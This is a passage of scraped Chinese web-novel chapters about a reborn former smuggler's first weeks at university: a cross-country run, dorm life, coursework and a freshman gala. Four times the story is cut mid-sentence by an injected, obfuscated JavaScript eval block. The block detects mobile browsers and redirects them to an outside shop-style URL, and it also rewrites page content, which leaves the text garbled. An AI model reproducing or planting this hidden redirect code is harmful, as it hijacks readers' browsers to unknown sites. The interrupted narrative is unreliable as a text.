“你们先走吧,”他看向那两个女生,“把她交给我。” 语气不容置疑。 两个女生互相看了一眼,莫名说不出拒绝的话,便松开手,往前跑了。 李曼气得够呛,冲着她们的背影喊:“哎!我才是女生方阵的副连长!你们听他的不听我的?” 没人理她。 韩学涛看着她:“我送你去医务室。” 李曼脖子一梗:“我不去。我一定要跑到终点,我不能当逃兵。” “两个选择。”韩学涛说,“第一,我送你去医务室。第二,我送你去终点。自己选。” 李曼想都没想:“我不去医务室。” 话一出口,她忽然反应过来:“你又不是我们教官,凭什么让我选?” 韩学涛嘴角微微一扯:“因为我是6号,你是7号。” 李曼一愣。 春梅宾馆的工号。 她瞪大眼睛:“你比我早去几天,大一号,就想压我一辈子?” 说完,自己先愣住了。 这话怎么听着有点不对劲? 什么叫压我一辈子? 她张了张嘴,想解释两句,又怕越描越黑。 韩学涛没再说话,手已经搭上她的胳膊。 “不是压你,”他说,“是背着你。” 他微微下蹲,一手揽住她的腰,一手托住她的腿弯,干脆利落地把人背了起来。 李曼整个人腾空,下意识搂住他的脖子。 “你干什么!放我下来!” 韩学涛没理会,迈步往前走。 李曼挣扎着想下去,韩学涛淡淡开口:“不怕人看笑话,你就乱动。” 李曼顿时僵住,不敢动了。 旁边那个拎包的男生见状,下意识想上前。韩学涛扫了他一眼,手一伸: “包拿来。” 就一眼,一句话。 那男生愣在原地,鬼使神差地把包递了过去。 韩学涛把包挎在肩上,背着李曼,开始往前跑。 周围全是参加越野的同学,乌泱泱的人群。看见这一幕,目光齐刷刷扫了过来。 “**,那是谁?” “背着女生越野?” “身体吃得消吗?泡妞不要命啊!” “突然觉得没劲,老子不想跑了。” “走了走了,打台球去。” “……” 政管系那两个女生跑出一段,被韩学涛背着李曼超过,还看见韩学涛回头冲她们点了点头,两人直接惊呆了。 “我的天!他背着李曼跑!” “这是要背全程?” “这也太……” “肯定是男朋友!” “羡慕**,我还想着到大学谈个恋爱呢,结果人家军训就已经有这么帅的男朋友背着——我又输在起跑线上了!” “李曼说不是男朋友,就是同学。” “别闹了,我们又不瞎。就算以前不是,这次军训完肯定也是了。” 李曼趴在韩学涛背上,脸烧得像着了火。 她把头埋下去,用帽子挡住脸,不敢见人。 太丢人了。 韩学涛感觉到她的动作,忽然开口:“给你讲个笑话。” 李曼没吭声。 “说有男的闯进了女澡堂,女的应该捂哪儿?” 李曼一怔:“捂……捂胸?” 韩学涛说:“不对,应该是捂脸——因为脸被人记住,比什么都丢人。” 李曼反应过来,伸手在他肩上掐了一把。 “你要死啊!” 韩学涛转移话题,问:“你们那个教官,怎么回事?” “不知道。”李曼说,“听说上面有精神下来,要加强学生军训管理,严禁走过场,特别是女生这边,要搞就认真搞,别**。” “那为什么就你们系这样?我们怎么没事?” “因为你们是政管系呗,”李曼说,“被拉出来当试点。” 她沉默了一下,又说:“还有一种说法。” “什么?” “我们教官啊,听说以前的女朋友是个大专生,后来把他甩了,所以他现在看高校女生特别不顺眼。我们还算好的,听说在商专那边,他把女生整得更惨,最后被集体投诉了。”李曼顿了顿,觉得自己传教官坏话不太好,又补了一句,“不过都是谣传,没什么根据。我还是倾向第一种说法。” 韩学涛说:“我觉得是第二种。” 李曼愣道:“为什么?” “直觉。” “你怎么把人想这么坏?” 韩学涛没接话,转而问:“你为什么一定要跑到终点?很多人半路就撤了,最后一项了,无所谓。” “不行!”李曼说,“回学校我还要负责给我们系军训学员打分呢。我自己最后一项没成绩怎么行?” 韩学涛停下来,把她往上托了托:“你负责打分?” “我是我们女生方阵的副连长。”李曼说,语气里带着点得意。 韩学涛就这么背着她,一路跑完全程。 幸好重生以后每天早上都出去跑步,不然背着个人还真跑不下来。他也不是从头到尾一直冲,中间累了就停下来歇会儿。但即便这样,跑到后面还是觉得挺吃力。 不过他从不是喜欢抱怨的人。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17428326|200898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' br>以前在南美的丛林里走货,比这恶劣得多,也危险得多。暴雨、蚂蟥、毒蛇、追兵,哪样不是要命的?全靠一股意志力撑着。咬牙顶住,就能活。抱怨?抱怨只会让你变成一堆尸骨。 李曼趴在他背上,能感觉到他的疲惫。 呼吸越来越重,脚步越来越沉,后背的汗一层一层往外冒。但他始终云淡风轻的,好像这根本不叫事儿。 她几次想下来自己走,韩学涛都没让。 渐渐地,她也就习惯了。 在他背上,比她自己走路还稳当。 就是太热了。 毕竟是夏天,韩学涛后背全是汗,她趴在那儿,跟趴在火炉上似的。 最后还剩一百米的时候,李曼死活要下来自己走。 韩学涛知道她脸皮薄,也没坚持。把她放下来,自己先跑到终点,随便找了两个女生。 “那边有个女生受伤了,你们去帮个忙。” 他指了指后面。 两个女生顺着他指的方向看过去,看见了正一瘸一拐走过来的李曼。 韩学涛在终点签了到,四下扫了一眼。 203那帮牲口一个都不在。 他微微松了口气。 倒不是怕什么,但那帮家伙一个比一个嘴贱。被他们看见,回寝室得烦死。 只要不被自己寝室的人看见就行。其他人嘛,反正还没开课,谁也不认识谁。 无所谓。 而韩学涛背着女生跑完全程这事,很快就传开了。 晚上,他在食堂吃了饭,刚回寝室,门就被撞开了。 巴辉冲进来:“兄弟们!军训最后一项,又出事了!有个畜生啊,不干人事!” 李靖从床上坐起来:“怎么了?” 巴辉说:“下午越野!有个男生,背着个女生跑完全程!” 于鑫正在搓脚,一听这话,脚都不搓了:“真的假的?这不比送肯德基那个还夸张?送肯德基好歹就几分钟,这可是八公里!” 李靖说:“全程背着跑完?那男的也不怕累死?” 于鑫说:“你懂个屁。牡丹花下死,做鬼也风流。野合不比车震刺激多了?” 韩学涛本来靠在床上看书,听到这话,眼皮跳了一下。 野你大爷。 他没吭声,继续翻书。 李靖皱眉:“那么多人看着,怎么合?” 于鑫一脸不屑:“人多怕什么?那些日本老师拍片子,哪个不是在众目睽睽之下?” 韩学涛听他们越扯越歪,忍不住开口:“你们下午跑哪儿去了?怎么没看着你们?” 李靖嘿嘿笑了两声:“校外新开了个游戏厅,有电脑房,里面能玩红警。我们几个下午去打红警了。” 于鑫想起什么,看向韩学涛:“涛哥,你是一直跑完全程的吧?看见那个背女生的没?” 韩学涛翻了一页书,头都没抬:“看见了。从我身边跑过去的。” “长啥样?”三个人的目光都投向他。 韩学涛说:“女的一直捂着脸。” “男的呢?” 韩学涛说:“谁要看男的?” 第48章 特困生 开课之后,韩学涛本来还担心自己选的那个专业人数太少,会不会只有他一个人上课。 结果发现想多了。 大一上学期全是基础课,不同专业的学生混在一起上。专业课要到大二才开始,而且就算到了大二,不同专业的专业课也有雷同,还是几个专业混着来。 开学第一堂课,就是高数。 上课铃响,教室门推开。 进来一个中年男人,四十出头,戴着黑框眼镜,头发梳得一丝不苟。他走上讲台,把教案放下,扫了一眼底下黑压压的新生。 “我姓方,教高等数学。” 他转身在黑板上写下“高等数学”四个字,特别工整,像印刷体。 “这堂课,不讲课。” 方老师转过身,看着他们:“我讲两个事。第一,高数的挂科率,去年是百分之二十七。在你们系,是百分之三十二。” 教室里安静了。 “第二,”方老师顿了顿,“你们当中,百分之八十以上的人,这辈子用不上高数。但你们还是要学,还是要考,还是要挂,还是要补考。” 有人开始笑。 “笑什么?”方老师看着那个笑的,“觉得我说得对?我告诉你们,我说得不对。” 他走到第一排桌前,敲了敲:“高数这东西,用不用得上,是以后的事。但学不学得会,是你现在的事。四年之后,你拿着毕业证出去找工作,人家问你,大学四年学了什么?你说,我学了怎么混。” 他顿了顿:“那你跟没上过大学的,有什么区别?” 教室里没人说话了。 方老师走回讲台,拿起粉笔:“今天不讲课,但给你们出道题。” 他在黑板上写下一行字: “用数学语言,描述你旁边坐着的那个人。” 底下炸了。 “这什么题?” “数学语言?描述人?” 方老师不理会,看了看表:“十分钟。写完了交上来,可以讨论,但不能抄。” 李靖对着于鑫看了半天,在本子上写:“他身高约1.70米,体重约55公斤,目测体脂率偏低……” 写不下去了。 他探头去看于鑫在写什么。 于鑫写得飞快,李靖只看见最后一行:“设我同桌为X,则X≈**。” 李靖抬脚踹他。 周晓白咬着笔杆,盯着旁边的人看了很久。 对面坐的是个其他寝室的男生,长得普通,没什么特点。但周晓白的目光落在他身上,像是在看一幅画。 最后交上去的纸上,只有一行字: “他的存在,是这个坐标系里唯一的常数。” 楚强在最后一排,旁边没人。 他举手:“老师,我旁边没人。” 方老师说:“那就描述你自己。” 楚强低下头开始写。 巴辉个子矮,坐在第一排,旁边是一个落单的女生。 他憋了半天,在纸上写: “她的颜值,约等于我们系男生的平均期待值减去两个标准差。” 写完,他小声嘀咕:“这应该是数学语言吧?” 老谢老老实实地写:“对面是我的室友,男性,年龄19岁,身高约176厘米,体重约……” 赵江写得最简单:“矮。” 韩学涛旁边坐着个不认识的男生,戴着眼镜,一副老实学生的样子。 他盯着那人看了几秒,脑子里却闪过别的画面—— 上辈子在号子里,每次新进来一个人,他都要打量:这人什么来路?能信吗?是警方的人?还是外面谁派来的? 那种打量,跟现在这种打量,是两回事。 他低头看了看桌上的白纸,又看了看黑板上那道题。 数学语言?描述一个人? 他想起曾经有人跟他听过的一句话:人和人之间,就两种关系——信得过,信不过。信得过的,隔着千山万水也是自己人。信不过的,坐在对面也是陌路。 他在纸上写下一行字: “从数学上讲,人和人的距离,不取决于你们之间隔了多少米。取决于你们之间,隔了多少个‘信不过’。” 写完,他把笔放下。 十分钟到,方老师让把纸条收上去。 他一份份翻看,面无表情。翻到周晓白那张,顿了一下,念出来: “‘他的存在,是这个坐标系里唯一的常数。’” 教室里有人笑。 方老师抬头看着周晓白:“你是文学系的?” 周晓白脸一红:“地、地质系的。” 方老师点点头,把纸条放下。 继续翻。 翻到韩学涛那张,他停住了。 他看了两遍,抬起头:“韩学涛是哪位?” 韩学涛举手。 方老师看着他,脸上没什么表情:“‘隔了多少个信不过’——这话什么意思?” 教室里安静了一瞬。 韩学涛说:“意思就是,两个人之间的距离,不是用尺量的,是用心量的。” 方老师眉头动了动:“用心量?” “嗯。”韩学涛说,“你信他,他坐再远也是近的。你不信他,他坐再近也是远的。” 方老师把纸条放下,看着韩学涛:“你这是数学?” 韩学涛说:“您说的,用数学语言描述。我没说这是数学公式,我说的是——从数学上讲。” 方老师愣了一下,忽然笑了,微微点头,放过了他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17428327|200898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 下午的课刚结束,辅导员推门进了203寝室。 “都在呢?”他往里走了两步,手里捏着一叠表格,“有个事儿跟你们说一下——寝室里还有没有人要申请特困生?要的话赶紧填表,明天截止。” 他扫了一圈,目光落在韩学涛身上:“韩学涛除外。” 韩学涛一愣:“为什么我除外?” 辅导员说:“系里已经帮你报了。具体什么情况我也不太清楚,你可以去教务处问问。” 韩学涛没再多问,起身就往外走。 半个小时后,他在教务处找到了侯科长,这才弄明白是怎么回事。 原来韩学涛选的那个“地图制图学与遥感地质”专业,今年拢共就六个人——这已经是努力调剂后的结果了。这专业本来就冷门,正好计算机系那边也有个类似的冷门专业“计算机制图学”,两边一合计,干脆搞个联合教学,报学校批了。于是韩学涛这个专业就成了跨系联合教学试点项目,好歹把人数凑起来了。 韩学涛是第一个报这个专业的。地质系的卢主任看到他的报名表,父母工作栏里填的都是“下岗无业”,就直接批了个特困生名额,算是给这个“穷学生”一点政策上的关照。 韩学涛听完,沉默了几秒。 他压根没想过要申请特困生。虽然父母眼下条件确实不好,但他卡里还有三万块——这年头不是小数目。特困补助一个月才六十,他真不差这六十。 可系里已经报上去了,他总不能主动跑去跟卢主任说“我不需要”,那不是没事找事么。 他想了想,问:“侯老师,咱们学校能勤工俭学吗?” 侯科长愣了一下,看他的眼神微微一变。 这男生……家里困难到这程度了?特困生还不够,还得勤工俭学?该不会学费都交不起吧? 他清了清嗓子:“勤工俭学归校学生会管。学校出政策,具体我们不干涉。这样吧,我把你名字报上去,等学生会那边审核。具体岗位也是他们安排。” 他拿起笔,在一张表上记了一笔。 心里想的是:这专业能被卢主任关注,又是跨系联合教学试点,自己两手一摊好像也不太好。反正报个名不费劲,还能在卢主任那边落个好。 韩学涛挺满意,站起身:“谢谢侯老师。” 他现在琢磨的是,怎么找个正当理由把手里那笔钱给父母。 勤工俭学是个好借口。 到时候就说是学校发的补助、勤工俭学的工资,一点一点往家里拿。先少后多,他们应该也不会多问。 但他没想到的是—— 他的勤工俭学申请,在校学生会竟然没批下来。 第49章 长的帅,高考加分吗? 韩学涛怎么也没想到,自己随口提的那句勤工俭学,后来会惹出一连串的事。 要是早知道会这样,他压根不会跟侯科长开那个口——说到底,不过是想给父母的钱找个由头罢了,又不是真缺那点补助。 他虽然是重生者,但也不是事事都能料到。命运这玩意儿,一面是不公,另一面又是公平的:它给每个玩家不等量的筹码,却从不对任何人亮出底牌。 至少眼下,勤工俭学这事儿,他压根没往心里去。 真正让他发愁的,是学业。 581分,那是他高考的成绩,但不是“现在的他”考出来的。 在南美混了那么多年,枪林弹雨里滚过来,高中那点东西早就被岁月筛得干干净净——换句话说,忘光了。要是重生回来时还没高考,他别说宁海大学了,专科线都够呛,连马猴都考不过。 现在麻烦来了。 高等数学、线性代数、普通物理、物理实验、无机化学——这些基础课一堂堂砸下来,砸得他头晕眼花。老师讲课跟念天书似的,一节课下来,能听懂的不到三成。 有时候他会想,要是当初去了外语系多好。 他的英语相当流利,还能捎带个小语种——西班牙语。这语言在南美洲分布最广,是阿根廷、委内瑞拉、哥伦比亚那些国家的官方语言。他还会说葡萄牙语,巴西人的母语。要是在外语系,这四年得多轻松? 实在不行调剂到文学系也行啊,总不至于对着微积分和化学方程式发懵吧。 但想归想,现实归现实。 他坐在教室里,盯着黑板上的积分符号,脑子里一片空白。 连续几天的天书听下来,韩学涛发了狠。 妈的。老子上一世能考上大学,这一世还能读不下来?刀枪血雨都闯过来了,还能让几个公式难住? 他开始疯了一样地学。 书上的内容,一点点抄下来。不懂的概念,去图书馆翻书,翻不到就逮着人问。作业不会写,就让寝室的人给他讲。哪怕在别人眼里再基础的东西,只要**,就厚着脸皮问。 几天下来,203寝室的人被他搞**了。 “哥,你是在故意逗我吧?” “你的分是我们寝室第二高,你跟我说这个你不会?” 一开始大家都以为他在开玩笑。高考581分,能不会做作业? 后来发现他不是开玩笑,是真不会。 “那你高考是怎么考进来的?长得帅加了二百分?没听说有这个政策啊!” 韩学涛笑呵呵地听着他们调侃,该问还是问。 你们说你们的,题得给我讲明白。 问了几次,他也摸出了规律。 最有耐心的是老谢。不管什么时候问,问他什么,他都耐耐心心地讲。有时候他自己一时忘了,还去翻书查,搞明白了回头再讲。简直跟请了个家教似的。 赵江不行,脾气急。讲一遍,韩学涛没听懂想再问问,他脸上就有点挂不住了。那表情分明在说:我都讲这么清楚了,你怎么还不明白? 楚强的**是另一种风格,天马行空。他讲着讲着,忽然跳到别的地方去了,一会儿又跳回来。韩学涛根本搞不明白他的思路是靠什么连接的。多听一会儿,本来已经弄懂的事,又被绕晕了。后来干脆不问他。 讲得最好的是巴辉。 这小子不愧是跳了两级的天才,不管讲什么都特别简洁,特别清晰。三言两语把核心拎出来,一点就通。别看他年纪最小,203寝室高考分数最高的就是他。 至于于鑫和李靖,那俩货没事就往校外跑,学校门口新开的游戏厅是他们的大本营。李靖起码还自己写作业,于鑫连作业都不写,别人写完了他就抄一抄交上去。指望他们讲题?不存在的。 韩学涛也不在意,逮着老谢和巴辉使劲儿问。 一个耐心,一个清晰,正好互补。 每天晚上熄灯前,他都趴在床上,拿着书和本子,把白天没弄懂的问题一个一个问清楚。老谢躺在上铺,探出脑袋给他讲;巴辉说不了几句,就拐到跟李靖和于鑫他们聊女生去了。 有时候讲着讲着,熄灯铃响了。 韩学涛上床,拧亮台灯,想起上一世的事。 那时候在南美混帮派,夜里可没有这么安静。灯红酒绿,刀口舔血,如履薄冰。脑子里转的是路线、是货、是枪、是人命。现在转的是微积分、是化学方程式、是物理定律。 韩学涛嘴角扯了扯,在黑夜里无声地笑了笑,然后翻开书,就着台灯继续往下看。耳边是寝室卧谈会此起彼伏的声音。 最近203寝室的卧谈会,话题始终绕不开一个词——联谊寝室。 这事儿最早是从隔壁204传过来的:地质系质量最高的那个女生寝室,被采矿系挖走了!采矿系液压专业一个男生寝室主动出击,跟地质系的女生寝室搭上了线,建立了联谊关系。两个寝室已经在香满园的包间里聚过餐,还约着周末一起去爬山! 消息传来,地质系这边的牲口们坐不住了。 虽然平时嘴上都说“本系女生看不上眼”,但肥水不流外人田,也不能便宜了外面的和尚啊。自家的菜园子被人偷了,这口气咽不下去。 于是大家开始行动——去外面偷别人的。 但现实很残酷。 他们看不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17428328|200898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上本系的女生,人家外系的女生也看不上地质系的歪瓜裂枣。递出去的橄榄枝,不是石沉大海,就是被婉拒。屡屡碰壁之后,大家都有点灰心。 直到218寝室传来好消息。 “218的尤翔,跟化工系一个女生寝室搞成了!”于鑫躺在床上,语气里满是不服气。 李靖问:“怎么搞成的?” “人家那个女生,跟尤翔初中就认识,家里都是一个系统的领导。”于鑫愤愤不平,“不然凭什么他们能挖到?那是干部子女寝室,六个人,每个人的爹都是地质系统的领导,咱们能比?” 巴辉说:“那也不能就这么算了啊。咱们不跟218比,就跟202、204比。他们听说现在都联系上点门路了,别到时候就咱们一个光棍寝室。” 他腾地坐起来:“那我大学不是白上了?反正我年纪小,宁愿回去复读一年。” 老谢从上铺探出脑袋:“小巴,你能复读,哥是复读不了了。我已经复读两年,再复读家里得把我赶出去。”他想了想,“要不我去给你们联系联系?” 于鑫来了精神:“联系哪个系的?” “采矿系。”老谢说,“他们不是挖了咱们一个寝室吗?咱们也去挖他们一个。” 于鑫脸上的表情瞬间垮了:“哥,求你了。采矿系自己都看不上的,咱们还上赶着去挖?人家巴不得清库存呢!” 赵江忽然开口:“要不我问问我女朋友?她们寝室应该还空着。” 屋里安静了一秒。 巴辉扭头看他:“你女朋友?转到咱们学校来了?” 赵江摇头:“没有,还在沈阳。” 屋里好几个人同时:“**。” 李靖悠悠说了一句:“这是真正的纯洁,靠笔联谊。” 巴辉翻个白眼:“天王,说正事儿呢,别整破谐音梗。” 于鑫敲了敲床板,把大家注意力拉回来:“我看这事儿要成,得靠两个人。” “谁?” “涛哥和小白。”于鑫说,“涛哥的盛世美颜大家都知道,军训走个方阵都能跟政管系的女生勾搭上。至于小白——” 他看向周晓白:“小白可以放出去勾搭文学系的妹子。你不是加入学校诗社了吗?那可是座富矿啊!” 周晓白没吭声,耳朵尖却红了。 韩学涛靠在床头,直接拒绝:“这事儿别找我,我学习还学不明白呢。” 他可不想跟李曼她们寝室搞什么联谊。 真要搞上了,送肯德基的事、背着她跑八公里的事,肯定全得被这帮人知道。到时候这帮牲口的嘴,还不知道得叨叨成什么样。 还不够心烦的。 第50章 要不要加入学生会? 韩学涛不肯干活,203寝室那帮人就把火力转向了周晓白。 小白被逼得没办法,只好去诗社问了一个爱好摄影的女生。那女生不是文学系的,是经管系的。 女生说回去问问寝室其他人的意见,第二天给小白反馈——已经有好几个寝室联系她们想要联谊了,包括外语系和政管系的,都没通过她们寝室的考察。你们要是心诚,就给你们一个面试的机会。不过不是马上,要在迎新晚会之后。 小白回来把话带到,巴辉和李靖先缩了。 “还要面试?”李靖挠头,“咱这是找联谊还是找工作啊?” 于鑫说:“怕个屁!她们面试咱们,咱们还面试她们呢,双向选择!就这么定了,迎新晚会之后,去香满园玫瑰厅,互相面试!” 上午没课,韩学涛在图书馆忘了时间。抬头一看表,都十二点多了,赶紧收拾东西去食堂打饭。 端着饭盒刚找位置坐下,一抬头,看见李曼。 她和一个男生坐在斜对面,两人一边吃饭一边对着桌上的一张纸比比划划,聊得挺投入。 韩学涛低头继续吃饭,没打算打招呼。 刚扒了两口,一阵脚步声响过来。 “韩学涛!” 李曼端着饭盒跑过来,在他对面坐下,把那个男生直接扔在了原地。 “我正想找你呢。”她说,“现在要不碰上,下午我就得去你们三号楼寝室了。” 韩学涛抬头看她:“啥事儿?” 李曼把饭盒放下,掰着指头:“两个事儿。第一,我进校学生会了,生活部副部长。你想不想加入?” 韩学涛想都没想:“不想。” 李曼急道:“你听我说完!加入学生会有很多好处,能锻炼处理事情的能力,毕业履历也好看,还能跟学校老师和行政部门接触,以后有什么事都好办。现在多少人抢着进,我特意给你留的名额。” 韩学涛摇头:“我现在基础课挺吃力的,每天泡图书馆和自习室,实在没精力。” 学生会? 他真没什么兴趣。有这时间,不如琢磨怎么赚钱。 李曼脸上闪过一丝失望。这个名额她专门留给他的,没想到被一口拒绝。 她怀疑韩学涛是故意找理由推脱,可他们不同系,基础课也不一样,她不敢确定。地质系偏理科,也许真的特别难? “我刚从图书馆出来。”韩学涛看她不信,把课本翻出来给她看,上面密密麻麻记满了东西,“感觉高中毕业之后脑子变钝了。说第二件吧。” 李曼看了看那课本,歇了口气,说:“学校迎新晚会缺一个男主持。你来吧。” 韩学涛正喝汤,一口差点喷出来。 “啥玩意儿?我不会!” 李曼瞪着他:“你怎么不会?高中教师节的晚会不是你主持的?荧荧烛光,还有国庆节向祖国母亲献礼,不都是你在台上吗?” 韩学涛看着她,哑口无言。 尼玛。这些事自己都忘了。 打打杀杀几十年,谁还记得高中时候主持过什么教师节?荧荧烛光?还点点蜡油呢! 忘了关键信息,让他有点被动。刚想好一个再拒绝的理由,还没张嘴,李曼已经站了起来。 “就这么定了。周五就是迎新晚会,耽误不了你几天。这三天下午抽两个小时来现场对对稿就行。” 说完她回到原来的座位,跟对面的男生又对着纸讨论起来。偏头的时候还瞪了韩学涛一眼,似乎对他刚才的敷衍很不满意。 韩学涛叹了口气。 算了,就耽误点时间,走个过场得了。反正今天周二,到周末也就三天。到时候拿着手卡上去念念词儿,也不是什么大事。 第二天下午,韩学涛去了排练现场。 他本来以为搭档主持的是李曼,没想到不是。站在那儿等他的,是一个没见过的女生。 “你好,我叫展雪,外贸系的。”女生伸出手,落落大方,“李部长说找个校草来跟我搭档,没想到还真的是呀。” 韩学涛跟她浅浅一握,打量了她一眼。 展雪个子挺高,长发扎在脑后,穿着一双白色的舞鞋,看样子除了主持,待会儿还要排练别的节目。她也是新生,跟李曼一样,进入了校学生会,当文艺部的副部长。 “你先试试这个。”她抽出一张手卡递给韩学涛,“读一小段我听听。” 韩学涛接过手卡,看了一眼上面的词,照着念了一小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17428329|200898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 段。 念完,他抬头看展雪。 而展雪没马上说话,脸上带着点思索的表情。 韩学涛说:“是不是不太行?我没主持过这么大的活动,要不……” “声音条件挺好的。有磁性。”展雪侧头思索,“但和我的预想不太一样。怎么说呢......我觉得你的语气和腔调更像是那种访谈节目的主持人,而不是晚会型节目的主持。” 她用纤白的手指比划:“整体的语气是由平往下走的,而不是往上升的。给人的感觉更沉稳,但是不够激昂。” 韩学涛诚恳点头,"要不你们再考虑下人选?“ “问题不大。”展雪说,“你跟着我练一下就好了。就你吧。” 排练的时候,李曼过来了一趟。 她穿着牛仔背带裤,胳膊下面夹着一堆资料,鼻梁上还架了一副眼镜,看起来一副很忙的样子。走到近前,她先对韩学涛眨了下眼,然后转向展雪。 “展部长,韩学涛是我高中同学。”她说,“他高中的时候主持过晚会,不过经验肯定没你丰富,就交给你了。” 展雪笑了笑:“条件挺好的,在台上能压得住场,没问题。” 和李曼一起过来的还有一个人——程嘉。河滨公园烧烤那次,带着王峰和朱岩过来道歉的那位。 程嘉看见韩学涛,笑着点点头:“师弟,别紧张。这一届你就是咱们东林一中的门面,好好表现一下。” 韩学涛也点了点头,没说什么。 程嘉和李曼一起走了。 展雪对韩学涛说:“你们高中人才辈出啊。程师哥是学生会**,在学校特别活跃。到了大二,估计李部长也要竞选了。” 她接着问:“你进学生会了吗?” “没有。”韩学涛扬了扬手里的手卡:“一锤子买卖,干完这一票就散伙。” 一连三天,每天下午韩学涛都来现场跟展雪对稿,一次一个小时。 他不参与其他节目的排练,展雪也不对他过分要求。连串场都不让他来,说晚会的时候你跟着我上台下台就完了。 韩学涛乐得轻松。 就这样到了星期六。 宁海大学96级迎新晚会,就在今晚。 第51章 人不可貌相 距离迎新晚会开始还有半个小时,韩学涛来到大礼堂晚会现场的后台。 刚一进去,就看见展雪站在那儿,脸上带着焦急。 “你怎么才来?”她几步迎上来,“赶紧的,化妆!” 韩学涛愣了一下:“我还要化妆?” 展雪伸手就把他往椅子那边拉:“当然要化!舞台灯光那么强,不打底妆不上轮廓,台下观众离得远的根本看不清你的五官。到时候你往台上一站,就是一坨白花花的光斑,谁认得你是谁?” 她说话的同时已经把韩学涛按到椅子上,扭头喊了一声:“小茹!过来帮忙化一下!” 一个女生跑过来,手里拿着化妆包。 化妆很简单,就像展雪说的,主要是为了加强五官轮廓。小茹在他脸上拍了拍粉,描了描眉,又在眼睛周围抹了抹,前后不到十分钟就完事了。 韩学涛对着镜子看了看。 粉有点白,眉描得有点粗,眼睛周围那一圈让他看起来有点……说不出来的感觉。 不过他也知道,这年头的学生化妆就这样。毕竟只是一个大学迎新晚会,不是什么专业演出,能有这个程序已经不错了。 正想着,展雪从更衣室那边出来了。 她换了一身礼服,米白色的,及膝,款式简洁大方。头发也重新弄过,披在肩上,衬得整个人比排练时多了几分正式感。 她走到韩学涛面前,上下打量了他一眼,没评价脸上的妆,直接问:“你带的衣服呢?更衣室在那边,赶紧去换。” 韩学涛说:“我没带衣服。” 展雪愣了一下,看着他身上那套运动服,表情有点凝固。 “你就穿这个上台?” 韩学涛点头。 展雪深吸一口气,转身就走。 两分钟后,她拽着一个男生跑回来,手里拎着一套西装。 “试试这个。”她把西装往韩学涛手里一塞,“应该是你的码。” 韩学涛接过来看了看,西装是深蓝色的,料子一般,但看起来还算整洁。他拿着进了更衣室,换好出来。 展雪眼睛亮了。 西装上身,整个人的气质立刻不一样了。肩线合适,腰身也收得正好,衬得他比平时挺拔不少。 “行,就这个。”展雪点点头,又递过来一双皮鞋,“换上。” 韩学涛低头看了一眼那双鞋,没接。 “我不穿别人的鞋。” 展雪手悬在半空,愣了一下。 “就一会儿。”她说,“上台走几步的事。” 韩学涛摇头:“鞋不行。” 展雪看着他,他也看着展雪。 后台人来人往,有人搬道具,有人对稿子,有人跑来跑去喊“谁看见我的节目单了”。两个人就这么站着,谁也不让步。 展雪深吸一口气,又慢慢吐出来。 “你……”她张了张嘴,想说什么,又咽回去了。 最后她把鞋往地上一放,转身就走:“行,你是大爷,你说了算。” 韩学涛低头看了看自己脚上那双运动鞋,又看了看地上那双皮鞋。 没动。 过了两分钟,展雪又回来了,手里拿着一罐鞋油和一块布。 “至少擦擦吧。”她把东西往他手里一塞,“黑的配深蓝,总比灰的强。” 韩学涛低头看了看自己那双运动鞋,灰白色的,鞋边已经有点脏了。 他没说话,蹲下来开始擦鞋。 展雪站在旁边看了他几秒,忽然说:“你这人,还挺犟。” 韩学涛头也没抬:“跟犟没关系。” “那跟什么有关系?” 韩学涛没回答。 擦完鞋,他站起来,踩了两下。 黑的,配深蓝,确实比灰的强。 七点半,晚会准时开始。 没有冗长的领导发言,只有校学生会的会长上去讲了三分钟,介绍了宁海大学的历史,欢迎了新一届学弟学妹,然后就在掌声中下来了。 紧接着,展雪拉着韩学涛上台。 两个人往台上一站,整个大礼堂的目光都集中过来。一千多号新生,黑压压坐了一片,交头接耳的声音嗡嗡的,在台上听不清说什么,但用脚趾头想也知道,无非是对他俩品头论足。 